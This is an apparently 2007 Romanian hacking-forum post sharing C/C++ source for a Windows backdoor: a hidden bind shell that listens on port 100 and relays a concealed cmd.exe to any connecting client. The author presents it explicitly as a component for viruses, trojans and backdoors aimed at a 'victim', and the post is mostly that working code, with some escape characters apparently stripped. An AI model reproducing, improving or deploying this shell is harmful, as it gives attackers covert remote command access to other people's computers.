Bine ati venit pe HackTeam Forum !
Aici veti gasi o gama larga de metode de hack atat pe Windows cat si pe platforme Linux/Unix , programe in consecinta ,tutoriale . In acelasi timp aici veti gasi si asistenta help in materie corespunzatoare . Precizam ca tot ce se gaseste pe acest site este doar in scop de dezvoltare iar voi va asumati intreaga raspundere pt actiunile pe care le savarsiti . || SS-TEAM || Va Multumeste pt vizita !
Lista Forumurilor Pe Tematici
Bine ati venit pe HackTeam Forum ! | Reguli | Inregistrare | Login

POZE BINE ATI VENIT PE HACKTEAM FORUM !

Nu sunteti logat.
Nou pe simpatie:
swiss_virginia pe Simpatie.ro
Femeie
25 ani
Cluj
cauta Barbat
27 - 54 ani
Bine ati venit pe HackTeam Forum ! / Programare / Shell CMD.exe C\C++  
Autor
Mesaj Pagini: 1
Win32
Th3 Best

Inregistrat: acum 19 ani
Postari: 269
Sa zicem va vreti sa faceti un virustroianbackdoor, si prin multitudinea de comenzi pe care la ve executa veti dori sa aveti acces si la consola victimei. In cele ce urmeaza va voi pune la dispozitie un mic cod care va face acest lucru. Am combinat codul de shell cu unul de server, a.i. sa ruleze ca server si sa va conectati si sa-l testati, pentru ca daca va dadeam doar codul de shell nu il puteati folosi asa aiurea.
Deci pentru client recomand ceva putty sau raw client care lam postat intr-alta sectiune. Pentru ca nu am folosit CreateThread(), se va misca cam greu, adica veti da comanda , va astepta 850 ms si apoi va scrie comanda in cmd.exe. Codul propriu-zis de shell va incepe dupa conditia de acceptare conexiuni: "theSck = accept(listen_sock, NULL, NULL);"
Sa va explic functionarea.. dupa compilare si executare, va cere directorul de sistem, si afla deci path-ul lui cmd.exe, dupa care va rula ca server si va astepta conexiuni, cand va exista un client conectat va starta cmd.exe in mod ascuns si va astepta comenzi de la client pe care le va scrie in cmd, apoi va citi consola si va trimite clientului, cam ata ete. Are totusi niste buguri greu de rezolvat, nu se poate folosi, sc.exe, dar nu conteaza daca sunteti destepti stiti ca  alta sectiune v-am pus la dispozitie ft.exe (client ftp command line). ;)
Codul nu are erori de compilare, doar ceva avertizari, dar daca il vezi compila cu altceva decat MVS2005, va trebui sa va modificati functiile in functie de compilator.

SI MARE ATENTIE!!
   >> NU MA FAC RESPONSABIL DE FAPTELE VOASTRE CU PRIVIRE LA ACEST COD.



=================


/***********************************************
        Aceasta sursa trebuie compilata cu
        Microsoft Visual Studio. In caz ca
        veti compila cu altceva stergeti
        directiva de preprocesor cu link
        catre ws2_32.lib si strcat_s
        redenumiti-l strcat.

        Dupa compilare rezulta un program
        care ruleaza ca server pe portul
        100 si cand exista un client co-
        nectat va da Shell la CMD.EXE
        Se poate folosi cu succes intr-un
        cod de virus. Are ceva bug-uri, dar
        se pot rezolva. Pt ca nu am utilizat
        CreateThread(), serverul este cam
        lenes la receptionat/trimis din cauza
        lui Sleep(850). Se poate modifica.

        By Win32 IAN-2007

***********************************************/
#include <iostream>
#include <stdio.h>
#include <winsock.h>
#include <windows.h>   
#include <stdlib.h>
#pragma comment(lib, "ws2_32")
using namespace std;
#define addr "\cmd.exe"

int main()
{       char CMD[260];
        GetSystemDirectory(CMD, sizeof(CMD));//Aici afla directorul de sistem. Va fi ceva de genul: "C:windowssystem32"
        strcat_s(CMD, addr);//strcat_s uneste cele doua siruri si rezulta: "C:Windowssystem32cmd.exe"
        WSADATA wsdt;
        if(WSAStartup(MAKEWORD(1,1), &wsdt) != 0){WSACleanup();exit(0);}
        SOCKET listen_sock;//socketul de ascultare.
        SOCKET theSck;//socketul de acceptare conexiune.
        listen_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        struct sockaddr_in local_server;
        local_server.sin_family              = AF_INET;
        local_server.sin_addr.s_addr         = INADDR_ANY;
        local_server.sin_port                = htons(100);//Serverul va asculta pe portul 100
        if(bind(listen_sock, (struct sockaddr*)&local_server, sizeof(struct sockaddr)) == SOCKET_ERROR){closesocket(listen_sock);WSACleanup();exit(0);}
        if(listen(listen_sock, 2) == SOCKET_ERROR) {closesocket(listen_sock);WSACleanup();exit(0);}
        while(1)
        {       theSck = accept(listen_sock, NULL, NULL);
                HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
                SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE};
                STARTUPINFO si;
                PROCESS_INFORMATION pi;
                DWORD stuff;
                char buff[8000], recvBuff[260];
                BOOL firstsend;
                int offset = 0, bRecv;
                if(send(theSck,"*========================================rnCopyright (C) 2006-2007 Win32 Corporationrn*========================================rnrn", sizeof("*========================================rnCopyright (C) 2006-2007 Win32 Corporationrn*========================================rnrn"), 0) == SOCKET_ERROR) goto closeSck; 
                if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)) {
                        send(theSck, "Eroare la CreatePipe().rn", 25, 0);
                        goto closeSck;
                }
        GetStartupInfo(&si);
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        si.lpReserved = NULL;
        si.lpTitle = NULL;
        si.lpDesktop = NULL;
        si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
        si.lpReserved2 = NULL;
    si.cbReserved2 = 0;
        si.wShowWindow = SW_HIDE;
        si.hStdOutput = stdoutWr;
        si.hStdError = stdoutWr;
        si.hStdInput = stdinRd;
        DuplicateHandle(GetCurrentProcess(), stdoutWr, GetCurrentProcess(), &si.hStdError, DUPLICATE_SAME_ACCESS, TRUE, 0);
        CreateProcess(CMD, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
        while(1) {
                //Aici va incepe citirea consolei si trimiterea datelor prin socket.
                Sleep(850);
                GetExitCodeProcess(pi.hProcess, &stuff);
                if(stuff != STILL_ACTIVE) break;
                        PeekNamedPipe(stdoutRd, NULL, 0, NULL, &stuff, NULL);
                if(stuff != 0) {
                        ZeroMemory(buff, sizeof(buff));
                        firstsend = TRUE;
                do {    ReadFile(stdoutRd, buff,8000, &stuff, NULL);
                                if(firstsend) { send(theSck, buff + offset, strlen(buff) - offset, 0); firstsend = FALSE; }
                                else send(theSck, buff, strlen(buff), 0);
            printf(buff);
                        }
                while(stuff == 8000);
                }
                //----------------------------------------------------------------
                //Aici incepe receptia pe socket si scrierea datelor in consola cmd.exe

                if(!strcmp(recvBuff, "rn")) offset = 0;
                bRecv = recv(theSck, recvBuff, 260, 0);
                if( (bRecv == 0) || (bRecv == SOCKET_ERROR) ) break;
                recvBuff[bRecv] = '';
                WriteFile(stdinWr, recvBuff, strlen(recvBuff), &stuff, NULL);
        printf(recvBuff);
                offset = offset + bRecv;
                //----------------------------------------------------------------
        }
        closeSck:
                TerminateProcess(pi.hProcess, 0);
                CloseHandle(stdinRd);
                CloseHandle(stdinWr);
                CloseHandle(stdoutRd);
                CloseHandle(stdoutWr);
                closesocket(theSck);
        }
        return 0;
}




====================


SI MARE ATENTIE!!
   >> NU MA FAC RESPONSABIL DE FAPTELE VOASTRE CU PRIVIRE LA ACEST COD.

shell cmd.exe c\c++ zicem vreti faceti prin comenzi care executa veti dori aveti acces consola Th3 Best

30.1KB


_______________________________________
*MI-AM DAT DEMISIA DE PE ACEST FORUM, NU MAI SUPORT STERSUL PROVOCAT DE n00bi.
*Pt mai mlte detalii vizitati sectiunea "Parerea ta"

pus acum 18 ani
   
Pagini: 1  

Mergi la